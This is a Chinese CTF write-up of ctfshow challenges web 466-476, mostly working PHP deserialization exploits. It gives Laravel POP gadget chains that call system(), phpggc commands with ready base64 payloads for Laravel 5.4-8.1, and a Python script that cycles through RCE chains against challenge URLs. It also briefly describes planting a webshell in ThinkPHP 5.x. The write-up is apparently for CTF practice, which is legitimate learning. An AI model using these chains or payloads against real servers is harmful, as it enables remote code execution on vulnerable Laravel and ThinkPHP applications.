ctfshow 框架复现

文章目录

    • [web 466](#web 466)
    • [web 467](#web 467)
    • [web 468](#web 468)
    • web469
    • [web 470](#web 470)
    • [web 471](#web 471)
    • [web 472](#web 472)
    • [web 473](#web 473)
    • [web 474](#web 474)
    • [web 475](#web 475)
    • [web 476](#web 476)

web 466

Laravel5.4版本 ,提交数据需要base64编码

代码审计学习---Laravel5.4 - 先知社区 (aliyun.com)

用第二条链子

复制代码
反序列化格式 /admin/序列化串base64
php 复制代码
<?php
namespace Illuminate\Validation {
    class Validator {
        public $extensions = [];
        public function __construct() {
            $this->extensions = ['' => 'system'];
        }
    }
}

namespace Illuminate\Broadcasting {
    use  Illuminate\Validation\Validator;
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Validator();
            $this->event = $cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast('cat /flag')));
}
?>

web 467

复制代码
Laravel5.5版本 提交数据需要base64编码

参考文章:Laravel5.4 反序列化漏洞挖掘 - 先知社区 (aliyun.com)

第三条链子

php 复制代码
<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Events\Dispatcher;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Dispatcher($cmd);
            $this->event=$cmd;
        }
    }
    echo base64_encode(serialize(new PendingBroadcast("cat /flag")));
}


namespace Illuminate\Events
{
    class Dispatcher
    {
        protected $listeners;
        public function __construct($event){
            $this->listeners=[$event=>['system']];
        }
    }
}

web 468

复制代码
Laravel5.5版本 提交数据需要base64编码

我们已经知道原理了,直接工具打吧

从0到1掌握反序列化工具之PHPGGC - 先知社区 (aliyun.com)

查看各种应用各种版本的链子

复制代码
./phpggc -l

生成链子,这里我们用 RCE3

复制代码
./phpggc Laravel/RCE3 system "cat /f*"|base64 

生成后发现不行,反序列化结果会被调试页面覆盖

那只能带外了

复制代码
./phpggc Laravel/RCE3 system "cat /f* >1.txt"|base64 
复制代码
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mzk6IklsbHVtaW5hdGVcTm90aWZpY2F0aW9uc1xDaGFubmVsTWFuYWdlciI6Mzp7czo2OiIAKgBhcHAiO3M6MTQ6ImNhdCAvZiogPjEudHh0IjtzOjE3OiIAKgBkZWZhdWx0Q2hhbm5lbCI7czoxOiJ4IjtzOjE3OiIAKgBjdXN0b21DcmVhdG9ycyI7YToxOntzOjE6IngiO3M6Njoic3lzdGVtIjt9fX0K

然后访问 1.txt 就行了

web469

复制代码
Laravel5.5版本 提交数据需要base64编码

Laravel RCE3 用不了了,我们用 4

复制代码
./phpggc Laravel/RCE4 system "cat /f*"|base64

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MzE6IklsbHVtaW5hdGVcVmFsaWRhdGlvblxWYWxpZGF0b3IiOjE6e3M6MTA6ImV4dGVuc2lvbnMiO2E6MTp7czowOiIiO3M6Njoic3lzdGVtIjt9fXM6ODoiACoAZXZlbnQiO3M6NzoiY2F0IC9mKiI7fQo=

web 470

又出现 debug 页面了。而且还得换 RCE9

复制代码
./phpggc Laravel/RCE9 system "cat /f* > 1.txt"|base64

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoxNToiY2F0IC9mKiA+IDEudHh0Ijt9fQo=

然后访问 1.txt

web 471

和上面一样

web 472

复制代码
Laravel8.1版本 提交数据需要base64编码

写一个脚本遍历所有 rce

python 复制代码
import os
import requests
 
for i in range(1,20):
    data=os.popen(f"./phpggc  Laravel/RCE{i} system 'cat /f* >1.txt'|base64").read()
    url = f"https://36c90604-17a4-483d-b420-c4a064444212.challenge.ctf.show/admin/{data}"
    requests.get(url)
    res = requests.get("https://36c90604-17a4-483d-b420-c4a064444212.challenge.ctf.show/1.txt").text
    if 'ctfshow' in res:
    	 print(res)
         print(f"RCE{i}success!")
复制代码
python3 attack.py 

web 473

php 复制代码
thinkphp5.0.15默认控制器的部分代码,使用默认路由:
public function inject(){
     $a=request()->get('a/a');
     db('users')->insert(['username'=>$a]);
     return 'done';
    
    }

快一点吧直接工具梭哈了

web 474

Thinkphp v5.x 远程代码执行漏洞复现及POC集合-CSDN博客

扫这个没有

复制代码
https://c5996b11-8db9-42d8-a43d-2ac4d7f5e605.challenge.ctf.show/public/index.php

得扫目录

复制代码
https://c5996b11-8db9-42d8-a43d-2ac4d7f5e605.challenge.ctf.show/public

但是没有回显,写🐎进去

蚁剑连接

web 475

web 476

相关推荐
csdn_aspnet8 小时前
GitHub Actions自动化运维实战,用CI/CD流水线实现测试、部署、安全扫描一体化
运维·安全·ci/cd·自动化·github
ChainSafeAI0039 小时前
以太坊利用AI挖掘漏洞成功发现安全缺陷,称人工审核仍不可替代
人工智能·安全
世***y10 小时前
开展夏季安全大检查 排隐患夯实安全基础
安全
一键生成网站10 小时前
AI原型工具企业需求分析:私有化部署与安全协作选购指南
人工智能·安全·需求分析·
mounter62511 小时前
从内存隔离到运行时防线:透视 Linux 内核安全强化的博弈与演进
linux·网络·安全·linux kernel·kernel
chenyulin454512 小时前
企业微信API二次开发:万级并发回调下的极致幂等性设计与防重放架构实战
大数据·人工智能·安全·架构·企业微信
CypressTel14 小时前
JADEPUFFER暴露企业安全防御新挑战——赛柏特安全观察
安全
上海云盾-小余16 小时前
流量攻击详解:区分带宽耗尽与资源耗尽两类攻击
爬虫·安全·ddos
科力锐品牌君16 小时前
医院数据存储“乱象”:如何兼顾兼容、高效与合规?
大数据·安全·备份·存储·存储方案
长风23017 小时前
Day 17: 突破 AOB 框架霸权 —— 插件界面重构与大屏呈现
人工智能·安全